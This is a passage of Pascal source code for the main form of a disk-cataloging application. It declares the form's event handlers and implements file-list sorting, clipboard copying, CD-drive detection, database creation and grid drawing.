DisksSelectCell(Sender: TObject; aCol, aRow: Integer; var CanSelect: Boolean); procedure DiskTreeClick(Sender: TObject); procedure ChangePanel(Sender: TObject); procedure DrawGridFilesDblClick(Sender: TObject); procedure DrawGridFilesDrawCell(Sender: TObject; aCol, aRow: Integer; aRect: TRect; aState: TGridDrawState); procedure DrawGridFilesKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure DrawGridFilesMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure DrawGridFilesSelectCell(Sender: TObject; aCol, aRow: Integer; var CanSelect: Boolean); procedure FormResize(Sender: TObject); procedure MenuNewClick(Sender: TObject); procedure MenuOpenDBaseClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure SpeedButtonCollapseClick(Sender: TObject); procedure SpeedButtonExpandClick(Sender: TObject); procedure MenuConfigClick(Sender: TObject); procedure SpeedButtonShowTreeClick(Sender: TObject); procedure SpeedButtonBriefClick(Sender: TObject); procedure SpeedButtonDetailedClick(Sender: TObject); procedure MenuBarClick(Sender: TObject); procedure MenuExitClick(Sender: TObject); procedure SpeedButtonScanDiskClick(Sender: TObject); procedure SpeedButtonScanAClick(Sender: TObject); procedure SpeedButtonScanBClick(Sender: TObject); procedure MenuDelRecordClick(Sender: TObject); procedure MenuSearchNameClick(Sender: TObject); procedure MenuSearchEmptyClick(Sender: TObject); procedure MenuDiskInfoClick(Sender: TObject); procedure MenuChgLabelClick(Sender: TObject); procedure MenuUndelRecordClick(Sender: TObject); procedure MenuLocalOptionsClick(Sender: TObject); procedure SpeedButtonDirDescrClick(Sender: TObject); procedure MenuCloseDBaseClick(Sender: TObject); procedure SpeedButtonShowFoundClick(Sender: TObject); procedure SpeedButtonShowDBaseClick(Sender: TObject); procedure MenuReindexClick(Sender: TObject); procedure MenuExportClick(Sender: TObject); procedure MenuImportClick(Sender: TObject); procedure MenuMaskSelectDisksClick(Sender: TObject); procedure MenuDelDiskSelectionClick(Sender: TObject); procedure SpeedButtonParentClick(Sender: TObject); procedure MenuSearchSelectedClick(Sender: TObject); procedure MenuDBaseInfoClick(Sender: TObject); procedure MenuSelectAllClick(Sender: TObject); procedure MenuCopyClick(Sender: TObject); procedure MenuAboutClick(Sender: TObject); procedure MenuMakeRuntimeClick(Sender: TObject); procedure MenuHelpContentClick(Sender: TObject); procedure MenuImport4Click(Sender: TObject); procedure MenuRescanDiskClick(Sender: TObject); procedure MenuScanFolderClick(Sender: TObject); procedure MainTimerTimer(Sender: TObject); procedure MenuRepairClick(Sender: TObject); procedure MenuLastFile1Click(Sender: TObject); procedure MenuLastFile2Click(Sender: TObject); procedure MenuLastFile3Click(Sender: TObject); procedure MenuLastFile4Click(Sender: TObject); procedure MenuLastFile5Click(Sender: TObject); procedure MenuLastFile6Click(Sender: TObject); procedure MenuLastFile7Click(Sender: TObject); procedure MenuLastFile8Click(Sender: TObject); procedure MenuLastFile9Click(Sender: TObject); procedure MenuLastFile10Click(Sender: TObject); procedure MenuExportToOtherFormatClick(Sender: TObject); procedure MenuPrintFoundFilesClick(Sender: TObject); procedure MenuPrintEmptyClick(Sender: TObject); procedure SpeedButtonPrintClick(Sender: TObject); procedure SpeedButtonEject1Click(Sender: TObject); procedure FormShow(Sender: TObject); procedure SpeedButtonEject2Click(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure MenuDiscGearPrintClick(Sender: TObject); procedure Splitter1Moved(Sender: TObject); procedure MenuDeleteDiskClick(Sender: TObject); procedure MenuUndeleteDiskClick(Sender: TObject); procedure MenuRenameDiskClick(Sender: TObject); procedure MenuSelectDisksClick(Sender: TObject); procedure MenuDeselectDiskClick(Sender: TObject); procedure MenuInfoDiskClick(Sender: TObject); procedure MenuPrintDisksClick(Sender: TObject); procedure MenuHelpDisksClick(Sender: TObject); procedure PopupMenuTreePopup(Sender: TObject); procedure MenuShowTreeClick(Sender: TObject); procedure MenuExpandTreeClick(Sender: TObject); procedure MenuHelpTreeClick(Sender: TObject); procedure MenuCollapseTreeClick(Sender: TObject); procedure PopupMenuFilesPopup(Sender: TObject); procedure MenuCopyFileClick(Sender: TObject); procedure MenuEditDescClick(Sender: TObject); procedure MenuBriefClick(Sender: TObject); procedure MenuDetailedClick(Sender: TObject); procedure MenuSortNameClick(Sender: TObject); procedure MenuSortExtClick(Sender: TObject); procedure MenuSortTimeClick(Sender: TObject); procedure MenuSortSizeClick(Sender: TObject); procedure MenuPrintFilesClick(Sender: TObject); procedure MenuHelpFilesClick(Sender: TObject); procedure PopupMenuDiskPopup(Sender: TObject); procedure MenuSelectFilesClick(Sender: TObject); procedure MenuUnselectFilesClick(Sender: TObject); procedure MenuSelectAllFilesClick(Sender: TObject); procedure MenuSelectAllDisksClick(Sender: TObject); procedure MenuCopyDiskClick(Sender: TObject); procedure MenuPrintTreeClick(Sender: TObject); procedure MenuRescanClick(Sender: TObject); procedure MenuDeleteFileClick(Sender: TObject); private EnableFirstIdle : boolean; ParamDBaseName : ShortString; ParamFindFile : ShortString; ParamScanDisk : ShortString; ParamAuto : boolean; LastActiveMDIChild : TForm; DefaultMDIMaximized: boolean; LastUsedDir : ShortString; LastOpenedFile : ShortString; LastFiles : array[1..10] of ShortString; m_EjectDriveLetter1: char; m_EjectDriveLetter2: char; //--- ActivePanel : integer; HeaderWidths : TPanelHeaderWidths; ColumnAttrib : array[0..maxColumnAttribs] of TOneColumn; TimeWidth : Integer; PanelsLocked : boolean; LastMouseMoveTime : longint; DisableHints : integer; DisableNextDoubleClick: boolean; MousePosAlreadyChecked: boolean; FilesHintDisplayed : boolean; LastMouseXFiles : integer; LastMouseYFiles : integer; //DBaseHandle : PDBaseHandle; LastHintRect : TRect; ///FilesList : TQStringList; FilesList : TStringList; NeedReSort : boolean; {if QOptions.SortCrit changes, resort in idle time} MakeDiskSelection : boolean; {set when shift is pressed} MakeFileSelection : boolean; FormIsClosed : boolean; MaxFileNameLength : Integer; {max. length of name in current list} MaxFileNamePxLength: Integer; SubTotals : TSubTotals; //DBaseFileName : ShortString; ShortDBaseFileName : ShortString; StatusLineFiles : ShortString; StatusLineSubTotals: ShortString; LastSelectedFile : ShortString; {name of the current file - from the status line} LastFileSelected : Integer; CurFileSelected : Integer; FormWasResized : Integer; {the ResizeEvent appears multiple times, so we must limit the response} StatusSection0Size : Integer; BitmapFolder : TBitmap; BitmapParent : TBitmap; BitmapArchive : TBitmap; ShiftState : TShiftState; // for mouse double click check DBaseIsReadOnly : boolean; QLocalOptions : TLocalOptions; {record} LastDiskSelected : Integer; {for undo} TreePtrCol : PQPtrCollection; DirToScrollHandle : PDirColHandle; //--- procedure OpenDatabase (DBFileName: ShortString); procedure AppIdle(Sender: TObject; var Done: Boolean); procedure SetMenuFileDisplayType (FileDisplayType: TFileDisplayType); procedure SetMenuSortCrit (SortCrit: TSortCrit); procedure UpdateSpeedButtons; procedure FirstIdle; function ProcessParams: boolean; procedure SetFormSize; procedure UpdateLastFilesList; procedure ReadLastFilesFromIni(var IniFile: TIniFile); procedure WriteLastFilesToIni(var IniFile: TIniFile); procedure ReadUserCommandsFromIni(var IniFile: TIniFile); procedure LoadSettingsIni; procedure SaveSettingsIni; procedure CreateTempFolder; procedure DeleteTempFolder; procedure SaveWinSizes; procedure UpdateDiskWindow; // --- redesigned --- procedure UpdateSize; procedure ResetDrawGridFiles; procedure ResetFontsAndRowHeights; procedure ShowFileHint; procedure SearchParam(ParamFindFile: ShortString); //procedure JumpTo(Disk, Dir, FileName: ShortString); procedure ReloadTree; procedure ScanTree(DirColHandle: PDirColHandle; Level: Integer; var TotalItemCount: Integer); overload; procedure ScanTree(DirColHandle: PDirColHandle; Node: TTReeNode; var TotalItemCount: Integer); overload; procedure ExpandBranch(AnItem: TTreeNode); procedure JumpInOutline(SubDirCol: pointer); procedure UpdateHeader; procedure UpdateFileWindowGrid(SelPos: Integer); procedure RescanTree(SavePosition: boolean); procedure ReloadFileCol(SaveFileName: ShortString); procedure UpdateStatusLine(Index: Integer; SubTotalsToo: boolean); procedure MsgShouldExit; procedure ScanFolder(Directory, DiskName, VolumeLabel: ShortString; NoOverWarning: boolean); procedure EraseFileHint; procedure ShowDiskInfo; procedure ShowDBaseInfo; procedure LocalIdle; procedure ChangeGlobalOptions; procedure ChangeLocalOptions; procedure SetBriefFileDisplay(Brief: boolean); procedure SetNeedResort(SortCrit: TSortCrit); procedure RescanDisk; procedure DeleteRecord; procedure UndeleteRecord; procedure SearchName; procedure SearchEmpty; procedure SearchSelected; procedure ChangeDiskName; procedure EditDescription; procedure ImportFromQDir41(FileName: ShortString); procedure GoToParent; procedure DoSelection; procedure SelectAll; procedure UnselectAll; procedure MakeCopy; procedure MakeCopyDisks; procedure MakeCopyFiles; procedure DeleteFiles; procedure MakePrintDisk; procedure MakePrintTree; procedure MakePrintFiles; procedure DoPrint(PrintWhat: TPrintWhat); procedure ExportToOtherFormat; procedure ResizeHeaderBottom; procedure ScanQDir4Database; procedure SelectDisksOrFiles(Disk: boolean); procedure SelectAllDisksOrFiles(Disk: boolean); procedure UnselectDisksOrFiles(Disk: boolean); procedure DrawGridFilesToggleSelection; procedure ShowOrHideTreePanel; function FindOneFileLine(Point: TPoint; var Rect: TRect): TOneFileLine; function AttachDBase(FName: ShortString): boolean; function DBaseIsEmpty: boolean; {$ifdef mswindows} function ScanDisk (Drive: char; AutoRun: boolean): boolean; // returns false when interrupted function DoScan (Drive: char; StartPath: ShortString; DiskName: ShortString; AutoRun, NoOverWarning: boolean): boolean; {$else} function ScanDisk (Drive: ShortString; AutoRun: boolean): boolean; // returns false when interrupted function DoScan (Drive, StartPath: ShortString; DiskName: ShortString; AutoRun, NoOverWarning: boolean): boolean; {$endif} function APanel: Integer; function CanUndeleteRecord: boolean; function GetDBaseHandle: PDBaseHandle; function GetSelectedFileName: ShortString; // ------------------ public DBaseHandle : PDBaseHandle; DBaseFileName : ShortString; QGlobalOptions : TGlobalOptions; {class} function GetFoundForm(FormType: byte): TForm; function IsDBaseOpened(DBaseFileName: ShortString; ToFront: boolean): boolean; procedure AddToLastFilesList(FileName: ShortString); procedure DeleteFromLastFilesList(FileName: ShortString); procedure DefaultHandler(var Message); override; // --- redesigned procedure LocalTimer; procedure JumpTo(Disk, Dir, FileName: ShortString); protected ///procedure OnDeviceChange(var Message: TMessage); message WM_DEVICECHANGE; end; var MainForm: TMainForm; g_PanelHeaderWidths : TPanelHeaderWidths; const FatalErrorHappened: boolean = false; {$ifdef DELPHI1} MaxLastFilesToShow: integer = 5; {$else} MaxLastFilesToShow: integer = 10; {$endif} function GetSortString(OneFile: TOneFile; FileType: TFileType; SortCrit: TSortCrit; Reversed: boolean): ShortString; //----------------------------------------------------------------------------- implementation uses {FDBase,} FFoundFile, FFoundEmpty, FSelectDrive, FReindex, FAbout, UBaseUtils, UApi, ULang, UDrives, FScanFolder, FRepair, FFindFileDlg, FMoreOptions, FDescription, FSelectFolder, UDskBUtl, UDebugLog, UPluginDiscGear, Clipbrd, {Printers,} UExceptions, {ShellApi,} FAskForLabel, FScanProgress, FDiskInfo, FDbInfo, FFindFile, FFindEmpty, FFindEmptyDlg, FRenameDlg, FMaskSelect, UCollections, FAbortPrint, FDiskPrint, UPrinter, StdCtrls, FHidden, UExport, FDiskExport, UUserDll; {$R *.dfm} var TmpLocalOptions: TLocalOptions; //-------------------------------------------------------------------- // creates sort string from the name - assures that folders are always first function GetSortString(OneFile: TOneFile; FileType: TFileType; SortCrit: TSortCrit; Reversed: boolean): ShortString; var TmpL: longint; begin Result[0] := #1; with OneFile do begin if SortCrit <> scUnsort then begin if Reversed then begin Result[1] := '1'; if FileType = ftParent then Result[1] := '4'; if FileType = ftDir then Result[1] := '3'; if (LongName+Ext) = lsDiskInfo then Result[1] := '5'; end else begin Result[1] := '5'; if FileType = ftParent then Result[1] := '2'; if FileType = ftDir then Result[1] := '3'; if (LongName+Ext) = lsDiskInfo then Result[1] := '1'; end; end; case SortCrit of scName: begin Result := Result + LongName + Ext; end; scExt: begin Result := Result + Ext + LongName; end; scTime: begin TmpL := MaxLongInt - Time; Result := Result + Format('%10.10d', [TmpL]) + Ext + LongName; end; scSize: begin TmpL := MaxLongInt - Size; Result := Result + Format('%10.10d', [TmpL]) + Ext + LongName; end; end; end; end; //-------------------------------------------------------------------- function GridRect(Left, Top, Right, Bottom: longint): TGridRect; begin Result.Top := Top; Result.Left := Left; Result.Bottom := Bottom; Result.Right := Right; end; //----------------------------------------------------------------------------- // Displays error message and if the error is fatal, closes the application procedure ErrorMsg(ErrorNo: Integer; ErrorStr: ShortString); ///far; var MsgText, MsgCaption: array[0..256] of char; begin if not FatalErrorHappened then begin Application.MessageBox(StrPCopy(MsgText, ErrorStr + lsFatalInternalError + IntToStr(ErrorNo) + ')'), StrPCopy(MsgCaption, lsProblem), mb_Ok); FatalErrorHappened := true; end; ///PostMessage(Application.Handle, WM_CLOSE, 0, 0); end; //----------------------------------------------------------------------------- // Initialization made when the form is created procedure TMainForm.FormCreate(Sender: TObject); var i: Integer; begin FormIsClosed := false; PanelsLocked := false; EnableFirstIdle := true; Application.OnIdle := AppIdle; LastActiveMDIChild := nil; ParamDBaseName := ''; ParamFindFile := ''; ParamScanDisk := ''; ParamAuto := false; Application.HelpFile := GetProgramDir + helpFileName; LastUsedDir := ''; LastOpenedFile := ''; FillChar (LastFiles, SizeOf(LastFiles), 0); m_EjectDriveLetter1 := ' '; m_EjectDriveLetter2 := ' '; SetFormSize; // must be here because of setting Minimized/normal/maximized state ///HeaderTop.Font.Size := 9; ///StatusBar.Font.Size := 9; MaxFileNamePxLength := 50; UpdateSize; PanelsLocked := false; ///LastMouseMoveTime := $0FFFFFFF; LastMouseMoveTime := $0FFFFFF; ///FilesHintDisplayed := false; FilesHintDisplayed := true; DisableHints := 0; ///FilesList := TQStringList.Create; FilesList := TStringList.Create; FilesList.Sorted := true; ///FilesList.Reversed := false; FilesList.Duplicates:= dupAccept; NeedReSort := false; StatusSection0Size := 0; Tag := GetNewTag; MakeDiskSelection := false; MakeFileSelection := false; MaxFileNameLength := 12; MaxFileNamePxLength := 50; FillChar(SubTotals, SizeOf(SubTotals), 0); DisableNextDoubleClick := false; SetRectEmpty(LastHintRect); TreePtrCol := New(PQPtrCollection, Init(1000, 1000)); BitmapFolder := TBitmap.Create; BitmapParent := TBitmap.Create; BitmapArchive := TBitmap.Create; ImageList.GetBitmap(3,BitmapFolder); ImageList.GetBitmap(0,BitmapParent); ImageList.GetBitmap(2,BitmapArchive); //BitmapFolder := OutlineTree.PictureLeaf; ///BitmapParent := OutlineTree.PicturePlus; ///BitmapArchive := OutlineTree.PictureMinus; end; procedure TMainForm.PopupMenuDiskPopup(Sender: TObject); begin MenuDeleteDisk.Enabled := not DBaseIsReadOnly; MenuRenameDisk.Enabled := not DBaseIsReadOnly; MenuUndeleteDisk.Enabled := CanUndeleteRecord and not DBaseIsReadOnly; end; //-------------------------------------------------------------------- // Menu handler - Rescans the current disk procedure TMainForm.MenuRescanClick(Sender: TObject); begin RescanDisk; end; procedure TMainForm.MenuDeleteFileClick(Sender: TObject); begin DeleteFiles; end; //-------------------------------------------------------------------- // Menu handler - deletes the current disk procedure TMainForm.MenuDeleteDiskClick(Sender: TObject); begin DeleteRecord; end; //-------------------------------------------------------------------- // Menu handler - undeletes the disk procedure TMainForm.MenuUndeleteDiskClick(Sender: TObject); begin UndeleteRecord; end; //-------------------------------------------------------------------- // Menu handler - renames disk in the database procedure TMainForm.MenuRenameDiskClick(Sender: TObject); begin ChangeDiskName; end; //-------------------------------------------------------------------- // Menu handler - select disks by a mask procedure TMainForm.MenuSelectDisksClick(Sender: TObject); begin SelectDisksOrFiles(true); end; //-------------------------------------------------------------------- // Menu handler - unselect disks procedure TMainForm.MenuDeselectDiskClick(Sender: TObject); begin UnselectDisksOrFiles(true); end; //-------------------------------------------------------------------- // Menu handler - select disks/files procedure TMainForm.MenuSelectFilesClick(Sender: TObject); begin SelectDisksOrFiles(false); end; //-------------------------------------------------------------------- // Menu handler - unselect disks/files procedure TMainForm.MenuUnselectFilesClick(Sender: TObject); begin UnselectDisksOrFiles(false); end; //-------------------------------------------------------------------- // Menu handler - select all files procedure TMainForm.MenuSelectAllFilesClick(Sender: TObject); begin SelectAllDisksOrFiles(false); end; //-------------------------------------------------------------------- // Menu handler - select all disks procedure TMainForm.MenuSelectAllDisksClick(Sender: TObject); begin SelectAllDisksOrFiles(true); end; //-------------------------------------------------------------------- // Menu handler - copy disk to clipboard procedure TMainForm.MenuCopyDiskClick(Sender: TObject); begin MakeCopyDisks; end; //-------------------------------------------------------------------- // Menu handler - display disk info procedure TMainForm.MenuInfoDiskClick(Sender: TObject); begin ShowDiskInfo; end; //-------------------------------------------------------------------- // Menu handler - print disks procedure TMainForm.MenuPrintDisksClick(Sender: TObject); begin MakePrintDisk; end; //-------------------------------------------------------------------- // Menu handler - display help for disk panel procedure TMainForm.MenuHelpDisksClick(Sender: TObject); begin Application.HelpContext(150); end; //-------------------------------------------------------------------- // Menu handler - called when the popup menu (on right mouse button) // is called for the files panel procedure TMainForm.PopupMenuFilesPopup(Sender: TObject); begin MenuSortName.Checked := false; MenuSortExt.Checked := false; MenuSortTime.Checked := false; MenuSortSize.Checked := false; case QGlobalOptions.SortCrit of scName: MenuSortName.Checked := true; scExt : MenuSortExt.Checked := true; scTime: MenuSortTime.Checked := true; scSize: MenuSortSize.Checked := true; end; MenuSortName1.Checked:=MenuSortName.Checked; MenuSortExt1.Checked:=MenuSortExt.Checked; MenuSortTime1.Checked:=MenuSortTime.Checked; MenuSortSize1.Checked:=MenuSortSize.Checked; case QGlobalOptions.FileDisplayType of fdBrief: begin MenuBrief.Checked := true; MenuDetailed.Checked := false; end; fdDetailed: begin MenuDetailed.Checked := true; MenuBrief.Checked := false; end; end; MenuBrief1.Checked := MenuBrief.Checked; MenuDetailed1.Checked:=MenuDetailed.Checked; end; procedure TMainForm.PopupMenuTreePopup(Sender: TObject); begin MenuShowTree.Checked := QGlobalOptions.ShowTree; end; //-------------------------------------------------------------------- // Copies disks to clipboard procedure TMainForm.MakeCopyDisks; var Key : ShortString; Attr : Word; Current, i : Integer; CopyBuffer : PChar; hCopyBuffer: THandle; TotalLength: longint; begin try TotalLength := 0; QI_GetCurrentKey(DBaseHandle, Key, Attr, Current); for i := 0 to pred(QI_GetCountToShow(DBaseHandle)) do if QI_GetKeyAt(DBaseHandle, Key, Attr, i) then if (Attr and kaSelected <> 0) or (i = Current) then AddToBuffer(true, Key + #13#10, CopyBuffer, TotalLength); ///hCopyBuffer := GlobalAlloc(GMEM_MOVEABLE or GMEM_ZEROINIT, TotalLength+1); ///CopyBuffer := GlobalLock(hCopyBuffer); for i := 0 to pred(QI_GetCountToShow(DBaseHandle)) do if QI_GetKeyAt(DBaseHandle, Key, Attr, i) then if (Attr and kaSelected <> 0) or (i = Current) then AddToBuffer(false, Key + #13#10, CopyBuffer, TotalLength); ///GlobalUnlock(hCopyBuffer); ///Clipboard.SetAsHandle(CF_TEXT, hCopyBuffer); except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; //----------------------------------------------------------------------------- // Initialization done when the form is about to show procedure TMainForm.FormShow(Sender: TObject); var DriveNum,i: Integer; DriveChar: Char; DriveType: TDriveType; DriveBits: set of 0..25; begin FormDescription.SetFormSize; FormSelectFolder.SetFormSize; FormSelectDrive.SetFormSize; QGlobalOptions := TGlobalOptions.Create; FormSettings.GetOptions(QGlobalOptions); ShowOrHideTreePanel; //LoadSettingsIni; //if EnableFirstIdle then FirstIdle; for i := 0 to 2 do HeaderTop.Sections[i].Width := QGlobalOptions.PanelHeaderWidths[i]; for i := 0 to 2 do HeaderWidths[i] := HeaderTop.Sections[i].Width; ///DrawGridDisks.Width := HeaderTop.SectionWidth[0]; Disks.Width := HeaderTop.Sections[0].Width; Disks.ColWidths[0] := Disks.Width-2; ///OutlineTree.Width := HeaderTop.SectionWidth[1]; DiskTree.Width := HeaderTop.Sections[1].Width; //g_PanelHeaderWidths := HeaderWidths; ResetDrawGridFiles; // determine, whether the CD eject button should be visible ///Integer(DriveBits) := GetLogicalDrives; for DriveNum := 0 to 25 do begin if not (DriveNum in DriveBits) then Continue; DriveType := FindDriveType(DriveNum); if (DriveType = dtCDROM) then begin if (not SpeedButtonEject1.Visible) then begin SpeedButtonEject1.Visible := true; DriveChar := Char(DriveNum + Ord('a')); DriveChar := Upcase(DriveChar); m_EjectDriveLetter1 := DriveChar; SpeedButtonEject1.Hint := lsEject + DriveChar + ':'; Continue; end else if (not SpeedButtonEject2.Visible) then begin SpeedButtonEject2.Visible := true; DriveChar := Char(DriveNum + Ord('a')); DriveChar := Upcase(DriveChar); m_EjectDriveLetter2 := DriveChar; SpeedButtonEject2.Hint := lsEject + DriveChar + ':'; Break; end; end; end; if (DiscGearPrintPluginExists()) then begin MenuTools.Visible := true; MenuDiscGearPrint.Visible := true; end; end; //----------------------------------------------------------------------------- // Handles event issued when the the form is to be closed, if unregistered version // is used, displays help with the "Order" topic procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean); var /// ProgramDir: array[0..256] of char; i: integer; begin SaveWinSizes; AddToLastFilesList(DBaseFileName); ///Application.HelpCommand(HELP_QUIT, 0); SaveSettingsIni; DeleteTempFolder(); QI_CloseDatabase(DBaseHandle, false); QGlobalOptions.Free; FreeObjects(FilesList); FilesList.Free; if TreePtrCol <> nil then Dispose(TreePtrCol, Done); TreePtrCol := nil; BitmapFolder.Free; BitmapParent.Free; BitmapArchive.Free; CanClose := true; end; //----------------------------------------------------------------------------- // Menu handler - create a new database procedure TMainForm.MenuNewClick(Sender: TObject); begin if LastUsedDir = '' then LastUsedDir := ExtractDir(LastOpenedFile); if LastUsedDir = '' then LastUsedDir := ExtractDir(FormSettings.EditAutoLoadDBase.Text); NewDialog.InitialDir := LastUsedDir; NewDialog.FileName := lsNonameFile; if NewDialog.Execute then begin LastUsedDir := ExtractDir(NewDialog.FileName); // check if the same database is already opened if IsDBaseOpened (NewDialog.FileName, false) then begin Application.MessageBox(lsDbaseWithThisNameIsOpen, lsCannotCreate, mb_OK or mb_IconStop); exit; end; if not QI_CreateDatabase(NewDialog.FileName) then Application.MessageBox(lsDBaseCannotBeCreated, lsError, mb_OK or mb_IconStop) else begin OpenDatabase(NewDialog.FileName); LastOpenedFile := NewDialog.FileName; end; end; MenuBarClick(Self); // enable shortcuts in the menu end; procedure TMainForm.DisksResize(Sender: TObject); begin UpdateSize; end; procedure TMainForm.DisksSelectCell(Sender: TObject; aCol, aRow: Integer; var CanSelect: Boolean); var i: Integer; begin if not QI_DatabaseIsOpened (DBaseHandle) then exit; try if MakeDiskSelection then begin MakeDiskSelection := false; if LastDiskSelected <= aRow then for i := LastDiskSelected to pred(aRow) do QI_ToggleSelectionFlag(DBaseHandle, i) else for i := LastDiskSelected downto succ(aRow) do QI_ToggleSelectionFlag(DBaseHandle, i); if abs(LastDiskSelected - aRow) > 1 then Disks.Repaint; end; if Disks.Selection.Top <> aRow then begin LastDiskSelected := Disks.Selection.Top; QI_SetCurrentKeyPos(DBaseHandle, aRow); QI_SetNeedUpdTreeWin(DBaseHandle); end; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; procedure TMainForm.DiskTreeClick(Sender: TObject); var done: boolean; begin ///if FormIsClosed then exit; if not QI_DatabaseIsOpened (DBaseHandle) then exit; try if not QGlobalOptions.ShowTree then exit; with DiskTree do begin ///if SelectedItem > 0 then if Selected.Index >= 0 then begin ///if Items[SelectedItem].Data <> nil then //if Items[Selected.Index].Data <> nil then if Items[Selected.AbsoluteIndex].Data <> nil then begin ///QI_SetCurDirCol (DBaseHandle, Items[SelectedItem].Data); QI_SetCurDirCol (DBaseHandle, Items[Selected.AbsoluteIndex].Data); QI_UpdateFileCol(DBaseHandle); UpdateHeader; end; end; end; ActivePanel:=2; except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; procedure TMainForm.ChangePanel(Sender: TObject); begin ActivePanel:=APanel; EraseFileHint; { if APanel = 1 ///then HeaderTop.Sections.Strings[0] := ShortDBaseFileName ///else HeaderTop.Sections.Strings[0] := ''; then HeaderTop.Sections[0].Text := ShortDBaseFileName else HeaderTop.Sections[0].Text := ''; if APanel = 2 then UpdateHeader ///else HeaderTop.Sections.Strings[1] := ''; else HeaderTop.Sections[1].Text := ''; } if ActivePanel = 3 then UpdateHeader ///else HeaderTop.Sections.Strings[2] := ''; else HeaderTop.Sections[2].Text := ''; ///HeaderTop.SectionWidth[0] := HeaderWidths[0]; ///HeaderTop.SectionWidth[2] := HeaderWidths[2]; HeaderTop.Sections[0].Width := HeaderWidths[0]; //Disks.ColWidths[0] := HeaderWidths[0] - 5; HeaderTop.Sections[2].Width := HeaderWidths[2]; if QGlobalOptions.ShowTree ///then HeaderTop.SectionWidth[1] := HeaderWidths[1] ///else HeaderTop.SectionWidth[1] := 0; then HeaderTop.Sections[1].Width := HeaderWidths[1] else HeaderTop.Sections[1].Width := 0; end; procedure TMainForm.DrawGridFilesDblClick(Sender: TObject); var i : Integer; begin ///if FormIsClosed then exit; if not QI_DatabaseIsOpened (DBaseHandle) then exit; if DisableNextDoubleClick then exit; EraseFileHint; try if QGlobalOptions.FileDisplayType = fdBrief then i := DrawGridFiles.Selection.Left*DrawGridFiles.RowCount + DrawGridFiles.Selection.Top else i := pred(DrawGridFiles.Row); if i < FilesList.Count then with TOneFileLine(FilesList.Objects[i]) do begin DirToScrollHandle := nil; if FileType = ftParent then DirToScrollHandle := QI_GetCurDirCol(DBaseHandle); // ShiftState set in Mouse and Key down if ssShift in ShiftState // shift - open file or explore folder then begin if (POneFile^.Attr and faDirectory <> 0) and (POneFile^.Attr and faQArchive = 0) then begin ///if FileType <> ftParent then OpenExplorer(POneFile); end else begin // click on file ///ExecFile(POneFile); end; end else if ssCtrl in ShiftState then begin EditDescription; end else // no shift state begin if (POneFile^.Attr and (faDirectory or faQArchive) <> 0) then begin if (POneFile^.SubDirCol <> nil) then begin QI_SetCurDirCol (DBaseHandle, POneFile^.SubDirCol); QI_UpdateFileCol(DBaseHandle); UpdateHeader; JumpInOutline(POneFile^.SubDirCol); end; end else begin // click on file if QGlobalOptions.EnableShellExecute then ///ExecFile(POneFile); end; end; end; // with except on ENormal: EQDirNormalException do NormalErrorMessage(ENormal.Message); on EFatal : EQDirFatalException do begin FormIsClosed := true; Close; FatalErrorMessage(EFatal.Message); end; end; end; procedure TMainForm.DrawGridFilesDrawCell(Sender: TObject; aCol, aRow: Integer; aRect: TRect; aState: TGridDrawState); var i: Integer; S: ShortString; StartX : Integer; DosDateTime: longint; PartRect : TRect; FileType : TFileType; OneFileLine: TOneFileLine; Offset : Integer; Bitmap : TBitmap; Description: TFilePointer; begin //LOG('DrawGridFilesDrawCell', []); if FormIsClosed then exit; try if QGlobalOptions.FileDisplayType = fdBrief then begin i := aCol*DrawGridFiles.RowCount + aRow; if i < FilesList.Count then begin OneFileLine := TOneFileLine(FilesList.Objects[i]); Offset := 0; if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then begin DrawGridFiles.Canvas.Brush.Color := clQSelectedBack; DrawGridFiles.Canvas.Font.Color := clQSelectedText; DrawGridFiles.Canvas.FillRect(aRect); end; if QGlobalOptions.ShowIcons then begin inc(Offset, BitmapFolder.Width); case OneFileLine.FileType of ftDir : Bitmap := BitmapFolder; ftParent: Bitmap := BitmapParent; ftArc : Bitmap := BitmapArchive; else Bitmap := BitmapFolder; end; if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then DrawGridFiles.Canvas.FillRect(Rect(aRect.Left, aRect.Top, aRect.Left + Offset, aRect.Bottom)); DrawGridFiles.Canvas.Brush.Color:=clGreen; if (OneFileLine.FileType <> ftFile) then ///DrawGridFiles.Canvas.BrushCopy( /// Bounds(aRect.Left + 1, aRect.Top, Bitmap.Width, Bitmap.Height), /// Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height), clOlive); DrawGridFiles.Canvas.CopyRect( Bounds(aRect.Left + 1, aRect.Top, Bitmap.Width, Bitmap.Height), Bitmap.Canvas, Bounds(0, 0, Bitmap.Width, Bitmap.Height)); end; DrawGridFiles.Canvas.TextRect(Rect(aRect.Left + Offset, aRect.Top, aRect.Right, aRect.Bottom), aRect.Left + Offset + 1, aRect.Top, OneFileLine.POneFile^.LongName + OneFileLine.POneFile^.Ext); end; end else begin if aCol <= maxColumnAttribs then begin if aRow = 0 then ColumnAttrib[aCol].Width := DrawGridFiles.ColWidths[aCol]; {this is becuase of non-existence of event on resizing columns} if aRow <= FilesList.Count then begin case ColumnAttrib[aCol].Content of coName: if aRow = 0 then DrawGridFiles.Canvas.TextRect(aRect, aRect.Left+2, aRect.Top, lsName) else begin OneFileLine := TOneFileLine(FilesList.Objects[aRow-1]); Offset := 0; if (OneFileLine.ExtAttr and eaSelected <> 0) and not(gdSelected in aState) then begin DrawGridFiles.Canvas.Brush.Color := clQSelectedBack; DrawGridFiles.Canvas.Font.Color := clQSelectedText; DrawGridFiles.Canvas.FillRect(aRect); end; if QGlobalOptions.ShowIcons then begin inc(Offset, BitmapFolder.Width); case OneFileLine.FileType of ftParent: Bitmap := BitmapParent; ftArc : Bitmap := BitmapArchive; else Bitmap := BitmapFolder; end; if OneFileLine.ExtAttr and eaSelected <> 0 then 